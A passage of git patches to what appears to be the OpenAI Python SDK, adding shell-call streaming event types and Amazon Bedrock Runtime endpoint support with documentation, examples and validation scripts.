+__all__ = ["ResponseShellCallOutputContentDeltaEvent", "Delta"]
+
+
+class Delta(BaseModel):
+ """The stdout/stderr delta that was emitted."""
+
+ stderr: Optional[str] = None
+ """The stderr delta that was emitted."""
+
+ stdout: Optional[str] = None
+ """The stdout delta that was emitted."""
+
+
+class ResponseShellCallOutputContentDeltaEvent(BaseModel):
+ """A streaming event that indicated shell call output was incrementally added."""
+
+ command_index: int
+ """The index of the shell command that produced output."""
+
+ delta: Delta
+ """The stdout/stderr delta that was emitted."""
+
+ item_id: str
+ """The ID of the output item that was updated."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_output_content.delta"]
+ """The type of the event, always `response.shell_call_output_content.delta`."""
diff --git a/src/openai/types/responses/response_shell_call_output_content_done_event.py b/src/openai/types/responses/response_shell_call_output_content_done_event.py
new file mode 100644
index 0000000000..d67f61d677
--- /dev/null
+++ b/src/openai/types/responses/response_shell_call_output_content_done_event.py
@@ -0,0 +1,76 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import List, Union, Optional
+from typing_extensions import Literal, Annotated, TypeAlias
+
+from ..._utils import PropertyInfo
+from ..._models import BaseModel
+
+__all__ = [
+ "ResponseShellCallOutputContentDoneEvent",
+ "Output",
+ "OutputOutcome",
+ "OutputOutcomeTimeout",
+ "OutputOutcomeExit",
+]
+
+
+class OutputOutcomeTimeout(BaseModel):
+ """Indicates that the shell call exceeded its configured time limit."""
+
+ type: Literal["timeout"]
+ """The outcome type. Always `timeout`."""
+
+
+class OutputOutcomeExit(BaseModel):
+ """Indicates that the shell commands finished and returned an exit code."""
+
+ exit_code: int
+ """Exit code from the shell process."""
+
+ type: Literal["exit"]
+ """The outcome type. Always `exit`."""
+
+
+OutputOutcome: TypeAlias = Annotated[Union[OutputOutcomeTimeout, OutputOutcomeExit], PropertyInfo(discriminator="type")]
+
+
+class Output(BaseModel):
+ """The content of a shell tool call output that was emitted."""
+
+ outcome: OutputOutcome
+ """
+ Represents either an exit outcome (with an exit code) or a timeout outcome for a
+ shell call output chunk.
+ """
+
+ stderr: str
+ """The standard error output that was captured."""
+
+ stdout: str
+ """The standard output that was captured."""
+
+ created_by: Optional[str] = None
+ """The identifier of the actor that created the item."""
+
+
+class ResponseShellCallOutputContentDoneEvent(BaseModel):
+ """A streaming event that indicated shell call output was completed."""
+
+ command_index: int
+ """The index of the shell command that produced output."""
+
+ item_id: str
+ """The ID of the output item that was updated."""
+
+ output: List[Output]
+ """The output contents emitted for the shell command."""
+
+ output_index: int
+ """The index of the output item that was updated."""
+
+ sequence_number: int
+ """The sequence number of the event that was emitted."""
+
+ type: Literal["response.shell_call_output_content.done"]
+ """The type of the event, always `response.shell_call_output_content.done`."""
diff --git a/src/openai/types/responses/response_stream_event.py b/src/openai/types/responses/response_stream_event.py
index 5c2a3b11b2..87e541e52e 100644
--- a/src/openai/types/responses/response_stream_event.py
+++ b/src/openai/types/responses/response_stream_event.py
@@ -30,9 +30,12 @@
from .response_mcp_list_tools_failed_event import ResponseMcpListToolsFailedEvent
from .response_audio_transcript_delta_event import ResponseAudioTranscriptDeltaEvent
from .response_mcp_call_arguments_done_event import ResponseMcpCallArgumentsDoneEvent
+from .response_shell_call_command_done_event import ResponseShellCallCommandDoneEvent
from .response_image_gen_call_completed_event import ResponseImageGenCallCompletedEvent
from .response_mcp_call_arguments_delta_event import ResponseMcpCallArgumentsDeltaEvent
from .response_mcp_list_tools_completed_event import ResponseMcpListToolsCompletedEvent
+from .response_shell_call_command_added_event import ResponseShellCallCommandAddedEvent
+from .response_shell_call_command_delta_event import ResponseShellCallCommandDeltaEvent
from .response_image_gen_call_generating_event import ResponseImageGenCallGeneratingEvent
from .response_web_search_call_completed_event import ResponseWebSearchCallCompletedEvent
from .response_web_search_call_searching_event import ResponseWebSearchCallSearchingEvent
@@ -52,8 +55,10 @@
from .response_reasoning_summary_part_added_event import ResponseReasoningSummaryPartAddedEvent
from .response_reasoning_summary_text_delta_event import ResponseReasoningSummaryTextDeltaEvent
from .response_function_call_arguments_delta_event import ResponseFunctionCallArgumentsDeltaEvent
+from .response_shell_call_output_content_done_event import ResponseShellCallOutputContentDoneEvent
from .response_code_interpreter_call_code_done_event import ResponseCodeInterpreterCallCodeDoneEvent
from .response_code_interpreter_call_completed_event import ResponseCodeInterpreterCallCompletedEvent
+from .response_shell_call_output_content_delta_event import ResponseShellCallOutputContentDeltaEvent
from .response_code_interpreter_call_code_delta_event import ResponseCodeInterpreterCallCodeDeltaEvent
from .response_code_interpreter_call_in_progress_event import ResponseCodeInterpreterCallInProgressEvent
from .response_code_interpreter_call_interpreting_event import ResponseCodeInterpreterCallInterpretingEvent
@@ -81,6 +86,11 @@
ResponseFileSearchCallSearchingEvent,
ResponseFunctionCallArgumentsDeltaEvent,
ResponseFunctionCallArgumentsDoneEvent,
+ ResponseShellCallCommandAddedEvent,
+ ResponseShellCallCommandDeltaEvent,
+ ResponseShellCallCommandDoneEvent,
+ ResponseShellCallOutputContentDeltaEvent,
+ ResponseShellCallOutputContentDoneEvent,
ResponseInProgressEvent,
ResponseFailedEvent,
ResponseIncompleteEvent,
diff --git a/src/openai/types/responses/responses_client_event.py b/src/openai/types/responses/responses_client_event.py
index b32cc997a7..ad434f15c2 100644
--- a/src/openai/types/responses/responses_client_event.py
+++ b/src/openai/types/responses/responses_client_event.py
@@ -5,6 +5,7 @@
from .tool import Tool
from ..._models import BaseModel
+from .service_tier import ServiceTier
from .response_input import ResponseInput
from .response_prompt import ResponsePrompt
from .tool_choice_mcp import ToolChoiceMcp
@@ -315,7 +316,7 @@ class ResponsesClientEvent(BaseModel):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]] = None
+ service_tier: Optional[ServiceTier] = None
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
diff --git a/src/openai/types/responses/responses_client_event_param.py b/src/openai/types/responses/responses_client_event_param.py
index 1c71131998..ba7ed6fa09 100644
--- a/src/openai/types/responses/responses_client_event_param.py
+++ b/src/openai/types/responses/responses_client_event_param.py
@@ -6,6 +6,7 @@
from typing_extensions import Literal, Required, TypeAlias, TypedDict
from .tool_param import ToolParam
+from .service_tier import ServiceTier
from .response_includable import ResponseIncludable
from .tool_choice_options import ToolChoiceOptions
from .response_input_param import ResponseInputParam
@@ -316,7 +317,7 @@ class ResponsesClientEventParam(TypedDict, total=False):
[Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
"""
- service_tier: Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
+ service_tier: Optional[ServiceTier]
"""Specifies the processing type used for serving the request.
- If set to 'auto', then the request will be processed with the service tier
diff --git a/src/openai/types/responses/responses_server_event.py b/src/openai/types/responses/responses_server_event.py
index 2f57eeca33..56663753d5 100644
--- a/src/openai/types/responses/responses_server_event.py
+++ b/src/openai/types/responses/responses_server_event.py
@@ -30,9 +30,12 @@
from .response_mcp_list_tools_failed_event import ResponseMcpListToolsFailedEvent
from .response_audio_transcript_delta_event import ResponseAudioTranscriptDeltaEvent
from .response_mcp_call_arguments_done_event import ResponseMcpCallArgumentsDoneEvent
+from .response_shell_call_command_done_event import ResponseShellCallCommandDoneEvent
from .response_image_gen_call_completed_event import ResponseImageGenCallCompletedEvent
from .response_mcp_call_arguments_delta_event import ResponseMcpCallArgumentsDeltaEvent
from .response_mcp_list_tools_completed_event import ResponseMcpListToolsCompletedEvent
+from .response_shell_call_command_added_event import ResponseShellCallCommandAddedEvent
+from .response_shell_call_command_delta_event import ResponseShellCallCommandDeltaEvent
from .response_image_gen_call_generating_event import ResponseImageGenCallGeneratingEvent
from .response_web_search_call_completed_event import ResponseWebSearchCallCompletedEvent
from .response_web_search_call_searching_event import ResponseWebSearchCallSearchingEvent
@@ -52,8 +55,10 @@
from .response_reasoning_summary_part_added_event import ResponseReasoningSummaryPartAddedEvent
from .response_reasoning_summary_text_delta_event import ResponseReasoningSummaryTextDeltaEvent
from .response_function_call_arguments_delta_event import ResponseFunctionCallArgumentsDeltaEvent
+from .response_shell_call_output_content_done_event import ResponseShellCallOutputContentDoneEvent
from .response_code_interpreter_call_code_done_event import ResponseCodeInterpreterCallCodeDoneEvent
from .response_code_interpreter_call_completed_event import ResponseCodeInterpreterCallCompletedEvent
+from .response_shell_call_output_content_delta_event import ResponseShellCallOutputContentDeltaEvent
from .response_code_interpreter_call_code_delta_event import ResponseCodeInterpreterCallCodeDeltaEvent
from .response_code_interpreter_call_in_progress_event import ResponseCodeInterpreterCallInProgressEvent
from .response_code_interpreter_call_interpreting_event import ResponseCodeInterpreterCallInterpretingEvent
@@ -78,6 +83,11 @@
"ResponseFileSearchCallWsSearching",
"ResponseFunctionCallArgumentsWsDelta",
"ResponseFunctionCallArgumentsWsDone",
+ "ResponseShellCallCommandWsAdded",
+ "ResponseShellCallCommandWsDelta",
+ "ResponseShellCallCommandWsDone",
+ "ResponseShellCallOutputContentWsDelta",
+ "ResponseShellCallOutputContentWsDone",
"ResponseInWsProgress",
"ResponseWsFailed",
"ResponseWsIncomplete",
@@ -315,6 +325,61 @@ class ResponseFunctionCallArgumentsWsDone(ResponseFunctionCallArgumentsDoneEvent
"""
+class ResponseShellCallCommandWsAdded(ResponseShellCallCommandAddedEvent):
+ """A streaming event that indicated a shell command was added to a tool call."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseShellCallCommandWsDelta(ResponseShellCallCommandDeltaEvent):
+ """A streaming event that indicated a shell command was incrementally updated."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseShellCallCommandWsDone(ResponseShellCallCommandDoneEvent):
+ """A streaming event that indicated a shell command was completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseShellCallOutputContentWsDelta(ResponseShellCallOutputContentDeltaEvent):
+ """A streaming event that indicated shell call output was incrementally added."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseShellCallOutputContentWsDone(ResponseShellCallOutputContentDoneEvent):
+ """A streaming event that indicated shell call output was completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
class ResponseInWsProgress(ResponseInProgressEvent):
"""Emitted when the response is in progress."""
@@ -759,6 +824,11 @@ class ResponseWsError(BaseModel):
ResponseFileSearchCallWsSearching,
ResponseFunctionCallArgumentsWsDelta,
ResponseFunctionCallArgumentsWsDone,
+ ResponseShellCallCommandWsAdded,
+ ResponseShellCallCommandWsDelta,
+ ResponseShellCallCommandWsDone,
+ ResponseShellCallOutputContentWsDelta,
+ ResponseShellCallOutputContentWsDone,
ResponseInWsProgress,
ResponseWsFailed,
ResponseWsIncomplete,
diff --git a/src/openai/types/responses/service_tier.py b/src/openai/types/responses/service_tier.py
new file mode 100644
index 0000000000..5fffe96a0c
--- /dev/null
+++ b/src/openai/types/responses/service_tier.py
@@ -0,0 +1,8 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal, TypeAlias
+
+__all__ = ["ServiceTier"]
+
+ServiceTier: TypeAlias = Optional[Literal["auto", "default", "flex", "scale", "priority", "fast", "ultrafast"]]
diff --git a/tests/lib/chat/test_completions.py b/tests/lib/chat/test_completions.py
index 864260a61c..e2447310f8 100644
--- a/tests/lib/chat/test_completions.py
+++ b/tests/lib/chat/test_completions.py
@@ -71,6 +71,7 @@ def test_parse_nothing(client: OpenAI, respx2_mock: MockRouter, monkeypatch: pyt
],
created=1727346142,
id='chatcmpl-ABfvaueLEMLNYbT8YzpJxsmiQ6HSY',
+ metadata=None,
model='gpt-4o-2024-08-06',
moderation=None,
object='chat.completion',
@@ -142,6 +143,7 @@ class Location(BaseModel):
],
created=1727346143,
id='chatcmpl-ABfvbtVnTu5DeC4EFnRYj8mtfOM99',
+ metadata=None,
model='gpt-4o-2024-08-06',
moderation=None,
object='chat.completion',
@@ -215,6 +217,7 @@ class Location(BaseModel):
],
created=1727346144,
id='chatcmpl-ABfvcC8grKYsRkSoMp9CCAhbXAd0b',
+ metadata=None,
model='gpt-4o-2024-08-06',
moderation=None,
object='chat.completion',
@@ -423,6 +426,7 @@ class CalendarEvent:
],
created=1727346158,
id='chatcmpl-ABfvqhz4uUUWsw8Ohw2Mp9B4sKKV8',
+ metadata=None,
model='gpt-4o-2024-08-06',
moderation=None,
object='chat.completion',
@@ -898,6 +902,7 @@ class Location(BaseModel):
],
created=1727389540,
id='chatcmpl-ABrDYCa8W1w66eUxKDO8TQF1m6trT',
+ metadata=None,
model='gpt-4o-2024-08-06',
moderation=None,
object='chat.completion',
@@ -977,6 +982,7 @@ class Location(BaseModel):
],
created=1727389532,
id='chatcmpl-ABrDQWOiw0PK5JOsxl1D9ooeQgznq',
+ metadata=None,
model='gpt-4o-2024-08-06',
moderation=None,
object='chat.completion',
diff --git a/tests/lib/chat/test_completions_streaming.py b/tests/lib/chat/test_completions_streaming.py
index bc265b9a49..14dc2a99ae 100644
--- a/tests/lib/chat/test_completions_streaming.py
+++ b/tests/lib/chat/test_completions_streaming.py
@@ -160,6 +160,7 @@ def on_event(stream: ChatCompletionStream[Location], event: ChatCompletionStream
],
created=1727346169,
id='chatcmpl-ABfw1e5abtU8OwGr15vOreYVb2MiF',
+ metadata=None,
model='gpt-4o-2024-08-06',
moderation=None,
object='chat.completion',
From 86267d2737e61e389e9260a18f99bcc1a634811b Mon Sep 17 00:00:00 2001
From: Hayden
Date: Mon, 17 Aug 2026 12:01:45 -0700
Subject: [PATCH 019/341] feat: add Bedrock Runtime endpoint support (SDK-290)
(#3623)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
Add first-class Amazon Bedrock Runtime support to the Python SDK while
preserving the existing Mantle endpoint and legacy clients.
- Add `bedrock(endpoint="runtime" | "mantle")`; Mantle remains the
default.
- Select Runtime hostnames and SigV4 signing atomically:
`bedrock-runtime../openai/v1` signs with `bedrock`;
Mantle continues to sign with `bedrock-mantle`.
- Infer canonical endpoint families from explicit/environment base URLs
and recognize FIPS, dual-stack, trailing-dot, China, European sovereign,
ISO, ISOB, ISOE, and ISOF endpoints.
- Reject invalid/injected regions, canonical HTTP, family/region
mismatches, cross-origin requests, and ambiguous custom-host SigV4
configuration.
- Preserve bearer keys, environment bearer precedence, refreshable
sync/async token providers, named AWS profiles, default chains,
static/session credentials, retry re-signing, and legacy custom-host
compatibility.
- Document Runtime installation, API versions/routes, Chat Completions,
streaming, async use, bearer/SigV4 authentication, profiles, inference
profiles, and deployment limitations in `bedrock.md` and
`examples/bedrock_runtime.py`.
- Extend the explicitly opt-in live harness across
`us.openai.gpt-5.6-{sol,terra,luna}`,
bearer/provider/profile/static/default-chain authentication, streaming,
and Runtime Responses.
- Extend packaged-wheel CI smoke coverage to verify both endpoint
families, both auth modes, correct signing services, and botocore-free
bearer authentication.
### Example
```python
from openai import OpenAI
from openai.providers import bedrock
client = OpenAI(
provider=bedrock(endpoint="runtime", region="us-west-2", api_key=None)
)
completion = client.chat.completions.create(
model="us.openai.gpt-5.6-sol",
messages=[{"role": "user", "content": "Say hello!"}],
stream=True,
)
for chunk in completion:
print(chunk.choices[0].delta.content or "", end="")
```
## Verification
- `pytest -q -n 0 tests/lib/test_bedrock_runtime.py
tests/lib/test_bedrock_provider.py
tests/lib/test_bedrock_auth_conformance.py
tests/lib/test_bedrock_credential_chain.py tests/lib/test_bedrock.py` —
**197 passed**, including **56 new Runtime cases**.
- `pytest -q -n auto tests/lib tests/test_httpx2.py` — **330 passed**.
- `ruff check .` and Ruff format checks for every changed file — passed.
- Strict Pyright across all changed Python files — **0 errors**.
- mypy across changed production, example, and wheel-validator files —
passed.
- `uv build --python .venv/bin/python` — wheel and source distribution
built successfully.
- `python scripts/utils/validate-bedrock-wheel.py` — packaged
Mantle/Runtime bearer/SigV4 smoke checks passed.
- `python scripts/utils/validate-python-version-wheel.py` — wheel/source
Python metadata validated.
Live AWS requests were not executed because AWS credentials are
unavailable in this workspace; the guarded harness is ready for an
authorized Bedrock account.
## References
- [SDK-290: Add Bedrock Runtime support across OpenAI
SDKs](https://linear.app/openai/issue/SDK-290/add-bedrock-runtime-support-across-openai-sdks)
- [Reference Node implementation:
openai/openai-node#2348](https://github.com/openai/openai-node/pull/2348)
---
README.md | 2 +-
bedrock.md | 189 +++++++
examples/bedrock_runtime.py | 41 ++
scripts/utils/validate-bedrock-wheel.py | 57 +-
src/openai/lib/_bedrock_auth.py | 7 +-
src/openai/lib/bedrock.py | 47 +-
src/openai/providers/bedrock.py | 134 ++++-
tests/lib/bedrock_live.py | 167 ++++--
tests/lib/test_bedrock.py | 50 ++
tests/lib/test_bedrock_runtime.py | 718 ++++++++++++++++++++++++
10 files changed, 1309 insertions(+), 103 deletions(-)
create mode 100644 bedrock.md
create mode 100644 examples/bedrock_runtime.py
create mode 100644 tests/lib/test_bedrock_runtime.py
diff --git a/README.md b/README.md
index 93f3071371..49f8d60e34 100644
--- a/README.md
+++ b/README.md
@@ -1073,7 +1073,7 @@ client = OpenAI(
You can also pass `access_key_id` and `secret_access_key`, with an optional `session_token`, or a refreshable `credential_provider` that returns botocore-compatible credentials. Explicit bearer and AWS credential options are mutually exclusive.
-Pass `base_url` to `bedrock(...)` or set `AWS_BEDROCK_BASE_URL` to override the derived `https://bedrock-mantle..api.aws/openai/v1` endpoint.
+Pass `base_url` to `bedrock(...)` or set `AWS_BEDROCK_BASE_URL` to override the derived `https://bedrock-mantle..api.aws/openai/v1` endpoint. Custom URLs retain Mantle signing by default; pass `endpoint="runtime"` to use Runtime signing.
SigV4 requests require replayable, fully serialized request bodies. Standard JSON requests already meet this requirement, and response streaming is unaffected. Low-level one-shot request streams must be buffered before sending, or sent with bearer authentication and retries disabled.
diff --git a/bedrock.md b/bedrock.md
new file mode 100644
index 0000000000..584e83fcdd
--- /dev/null
+++ b/bedrock.md
@@ -0,0 +1,189 @@
+# Amazon Bedrock
+
+The Bedrock provider connects the standard synchronous and asynchronous OpenAI clients to Amazon Bedrock's
+OpenAI-compatible endpoints. The provider supports bearer tokens without additional dependencies. AWS Signature
+Version 4 (SigV4) requires the optional Bedrock dependencies:
+
+```sh
+pip install 'openai[bedrock]'
+```
+
+Runtime endpoint selection requires a Python SDK release that includes SDK-290. The SDK supports Python 3.10 and newer.
+
+## Endpoint selection
+
+| `endpoint` | Default API root | SigV4 signing service |
+| --- | --- | --- |
+| `"mantle"` (default) | `https://bedrock-mantle..api.aws/openai/v1` | `bedrock-mantle` |
+| `"runtime"` | `https://bedrock-runtime..amazonaws.com/openai/v1` | `bedrock` |
+
+Runtime hostnames use the DNS suffix for the selected AWS partition. For example, the European sovereign region
+`eusc-de-east-1` uses `amazonaws.eu`. Canonical Runtime FIPS and dual-stack hostnames are also recognized.
+
+The region comes from `region`, `AWS_REGION`, `AWS_DEFAULT_REGION`, or, for AWS authentication, the selected AWS profile.
+Pass `base_url` or set `AWS_BEDROCK_BASE_URL` to override the derived API root. When `endpoint` is omitted, canonical
+Mantle and Runtime URLs select the corresponding endpoint and signing service automatically; otherwise Mantle remains
+the default. Custom or proxy URLs likewise use Mantle signing by default; pass `endpoint="runtime"` when a custom host
+requires Runtime signing.
+
+## Runtime Chat Completions
+
+Use an inference-profile ID such as `us.openai.gpt-5.6-sol`, `us.openai.gpt-5.6-terra`, or
+`us.openai.gpt-5.6-luna`. These deployments do not accept the corresponding bare model ID. Global inference profiles,
+such as `global.openai.gpt-5.6-sol`, require an AWS account and permissions that allow the corresponding profile.
+
+```python
+from openai import OpenAI
+from openai.providers import bedrock
+
+client = OpenAI(
+ provider=bedrock(
+ endpoint="runtime",
+ region="us-west-2",
+ api_key=None,
+ )
+)
+
+completion = client.chat.completions.create(
+ model="us.openai.gpt-5.6-sol",
+ messages=[{"role": "user", "content": "Say hello!"}],
+)
+print(completion.choices[0].message.content)
+```
+
+`api_key=None` prevents `AWS_BEARER_TOKEN_BEDROCK` from shadowing AWS credentials and forces SigV4 authentication. Omit
+`region` to use the normal environment or AWS profile region chain.
+
+For streaming, set `stream=True`:
+
+```python
+stream = client.chat.completions.create(
+ model="us.openai.gpt-5.6-sol",
+ messages=[{"role": "user", "content": "Say hello!"}],
+ stream=True,
+)
+for chunk in stream:
+ print(chunk.choices[0].delta.content or "", end="", flush=True)
+```
+
+The asynchronous client uses the same provider configuration:
+
+```python
+from openai import AsyncOpenAI
+
+client = AsyncOpenAI(provider=bedrock(endpoint="runtime", region="us-west-2", api_key=None))
+completion = await client.chat.completions.create(
+ model="us.openai.gpt-5.6-sol",
+ messages=[{"role": "user", "content": "Say hello!"}],
+)
+```
+
+See [`examples/bedrock_runtime.py`](examples/bedrock_runtime.py) for a runnable example supporting SigV4, bearer
+authentication, model selection, AWS profiles, and opt-in streaming.
+
+## Authentication
+
+Authentication is chosen in this order:
+
+1. Explicit bearer credentials, static AWS credentials, a named profile, or an AWS credential provider.
+2. The bearer token in `AWS_BEARER_TOKEN_BEDROCK`, unless `api_key=None` disables this fallback.
+3. The default AWS credential chain.
+
+Explicit bearer and AWS credential modes cannot be combined. A stale environment bearer token takes precedence over the
+implicit AWS credential chain; unset it or pass `api_key=None` when SigV4 is required.
+
+### Bearer credentials
+
+```python
+client = OpenAI(
+ provider=bedrock(
+ endpoint="runtime",
+ region="us-west-2",
+ api_key="your-bedrock-api-key",
+ )
+)
+```
+
+A callable token provider is invoked before every request attempt, including retries. `AsyncOpenAI` also accepts an
+asynchronous callable:
+
+```python
+client = AsyncOpenAI(
+ provider=bedrock(
+ endpoint="runtime",
+ region="us-west-2",
+ token_provider=refresh_bedrock_token,
+ )
+)
+```
+
+### AWS credentials and profiles
+
+Use the default AWS credential chain or select a named shared-config profile:
+
+```python
+client = OpenAI(
+ provider=bedrock(
+ endpoint="runtime",
+ profile="my-aws-profile",
+ api_key=None,
+ )
+)
+```
+
+Temporary static credentials can include a session token:
+
+```python
+client = OpenAI(
+ provider=bedrock(
+ endpoint="runtime",
+ region="us-west-2",
+ access_key_id="your-access-key",
+ secret_access_key="your-secret-key",
+ session_token="your-session-token",
+ )
+)
+```
+
+Pass `credential_provider` for refreshing AWS credentials. The provider is called for every signed request attempt.
+Signed requests require replayable request bodies and do not automatically follow redirects.
+
+## API routes and support limitations
+
+The SDK defaults to `/openai/v1`, matching
+[AWS's OpenAI model documentation](https://docs.aws.amazon.com/bedrock/latest/userguide/model-parameters-openai.html).
+[AWS's Chat Completions documentation](https://docs.aws.amazon.com/bedrock/latest/userguide/inference-chat-completions-mantle.html)
+also describes a `/v1` Runtime route. Override `base_url` when a deployment requires that route:
+
+```python
+client = OpenAI(
+ provider=bedrock(
+ endpoint="runtime",
+ region="us-west-2",
+ base_url="https://bedrock-runtime.us-west-2.amazonaws.com/v1",
+ api_key=None,
+ )
+)
+```
+
+The provider exposes normal Chat Completions and Responses resources, but AWS determines which routes, models,
+inference profiles, authentication methods, and streaming features each deployment accepts. Runtime Responses and
+streaming should be live-validated for the selected model, profile, route, authentication mode, and AWS account.
+
+Canonical AWS endpoints must use HTTPS and match the configured endpoint family and region. Bedrock credentials are
+never attached to a request whose origin differs from the configured API root. Explicitly configured custom or local
+HTTP proxies remain available when required; use them only inside a trusted environment.
+
+## Opt-in live verification
+
+The existing live harness requires explicit opt-in and valid AWS credentials:
+
+```sh
+BEDROCK_LIVE_TEST=1 BEDROCK_LIVE_ENDPOINT=runtime AWS_REGION=us-west-2 \
+ rye run pytest -q -s tests/lib/bedrock_live.py
+```
+
+Runtime verification defaults to all three US GPT-5.6 inference profiles. Select authentication modes with
+`BEDROCK_LIVE_AUTHS=bearer,environment-bearer,token-provider,default-chain,profile,static`; select specific models with
+`BEDROCK_LIVE_MODELS`. Set `BEDROCK_LIVE_STREAM=1` to include streaming and `BEDROCK_LIVE_RESPONSES=1` to include
+Runtime Responses. Provide `AWS_PROFILE` or `BEDROCK_LIVE_PROFILE` for named-profile verification.
diff --git a/examples/bedrock_runtime.py b/examples/bedrock_runtime.py
new file mode 100644
index 0000000000..3c554722b8
--- /dev/null
+++ b/examples/bedrock_runtime.py
@@ -0,0 +1,41 @@
+"""Run Amazon Bedrock Runtime Chat Completions with bearer or AWS authentication.
+
+AWS_REGION=us-west-2 python examples/bedrock_runtime.py
+AWS_REGION=us-west-2 BEDROCK_MODEL=us.openai.gpt-5.6-terra BEDROCK_STREAM=1 python examples/bedrock_runtime.py
+AWS_REGION=us-west-2 BEDROCK_AUTH=bearer python examples/bedrock_runtime.py
+"""
+
+from __future__ import annotations
+
+import os
+
+from openai import OpenAI
+from openai.providers import bedrock
+from openai.types.chat import ChatCompletionMessageParam
+
+authentication = os.environ.get("BEDROCK_AUTH", "sigv4")
+region = os.environ.get("AWS_REGION") or os.environ.get("AWS_DEFAULT_REGION")
+profile = os.environ.get("AWS_PROFILE") or None
+
+if authentication == "bearer":
+ token = os.environ.get("AWS_BEARER_TOKEN_BEDROCK")
+ if not token:
+ raise RuntimeError("Bearer authentication requires AWS_BEARER_TOKEN_BEDROCK.")
+ provider = bedrock(endpoint="runtime", region=region, api_key=token)
+elif authentication == "sigv4":
+ provider = bedrock(endpoint="runtime", region=region, profile=profile, api_key=None)
+else:
+ raise RuntimeError("BEDROCK_AUTH must be either 'sigv4' or 'bearer'.")
+
+client = OpenAI(provider=provider)
+model = os.environ.get("BEDROCK_MODEL", "us.openai.gpt-5.6-sol")
+messages: list[ChatCompletionMessageParam] = [{"role": "user", "content": "Say hello from Amazon Bedrock Runtime!"}]
+
+if os.environ.get("BEDROCK_STREAM") == "1":
+ stream = client.chat.completions.create(model=model, messages=messages, stream=True)
+ for chunk in stream:
+ print(chunk.choices[0].delta.content or "", end="", flush=True)
+ print()
+else:
+ completion = client.chat.completions.create(model=model, messages=messages)
+ print(completion.choices[0].message.content)
diff --git a/scripts/utils/validate-bedrock-wheel.py b/scripts/utils/validate-bedrock-wheel.py
index e0bf4f5890..2543d37563 100644
--- a/scripts/utils/validate-bedrock-wheel.py
+++ b/scripts/utils/validate-bedrock-wheel.py
@@ -42,32 +42,41 @@ def handler(request):
return httpx2.Response(200, request=request, json={})
-http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
-with OpenAI(
- provider=bedrock(region="us-east-1", api_key="bearer-token"),
- http_client=http_client,
-) as client:
- client.get("/models", cast_to=httpx2.Response)
-
-assert requests[0].headers["Authorization"] == "Bearer bearer-token"
-assert not any(name == "botocore" or name.startswith("botocore.") for name in sys.modules)
+for endpoint, hostname in (
+ ("mantle", "bedrock-mantle.us-east-1.api.aws"),
+ ("runtime", "bedrock-runtime.us-east-1.amazonaws.com"),
+):
+ requests.clear()
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(
+ provider=bedrock(endpoint=endpoint, region="us-east-1", api_key="bearer-token"),
+ http_client=http_client,
+ ) as client:
+ client.get("/models", cast_to=httpx2.Response)
+
+ assert requests[0].url.host == hostname
+ assert requests[0].headers["Authorization"] == "Bearer bearer-token"
+ assert not any(name == "botocore" or name.startswith("botocore.") for name in sys.modules)
sys.meta_path.remove(blocker)
-requests.clear()
-http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
-with OpenAI(
- provider=bedrock(
- region="us-east-1",
- access_key_id="fixture-access-key",
- secret_access_key="fixture-secret-key",
- session_token="fixture-session-token",
- ),
- http_client=http_client,
-) as client:
- client.get("/models", cast_to=httpx2.Response)
-
-assert "Credential=fixture-access-key/" in requests[0].headers["Authorization"]
-assert requests[0].headers["X-Amz-Security-Token"] == "fixture-session-token"
+for endpoint, signing_service in (("mantle", "bedrock-mantle"), ("runtime", "bedrock")):
+ requests.clear()
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(
+ provider=bedrock(
+ endpoint=endpoint,
+ region="us-east-1",
+ access_key_id="fixture-access-key",
+ secret_access_key="fixture-secret-key",
+ session_token="fixture-session-token",
+ ),
+ http_client=http_client,
+ ) as client:
+ client.get("/models", cast_to=httpx2.Response)
+
+ assert "Credential=fixture-access-key/" in requests[0].headers["Authorization"]
+ assert f"/{signing_service}/aws4_request" in requests[0].headers["Authorization"]
+ assert requests[0].headers["X-Amz-Security-Token"] == "fixture-session-token"
"""
diff --git a/src/openai/lib/_bedrock_auth.py b/src/openai/lib/_bedrock_auth.py
index 2921858195..e9076ef210 100644
--- a/src/openai/lib/_bedrock_auth.py
+++ b/src/openai/lib/_bedrock_auth.py
@@ -37,13 +37,14 @@ def _load_botocore() -> tuple[Any, Any, Any, Any]:
"Install them with `pip install openai[bedrock]` and try again."
) from exc
- return SigV4Auth, AWSRequest, Credentials, Session
+ return cast("tuple[Any, Any, Any, Any]", (SigV4Auth, AWSRequest, Credentials, Session))
@dataclass(frozen=True)
class BedrockAwsAuthConfig:
region: str
source: Literal["static", "profile", "provider", "default"]
+ service: Literal["bedrock-mantle", "bedrock"] = "bedrock-mantle"
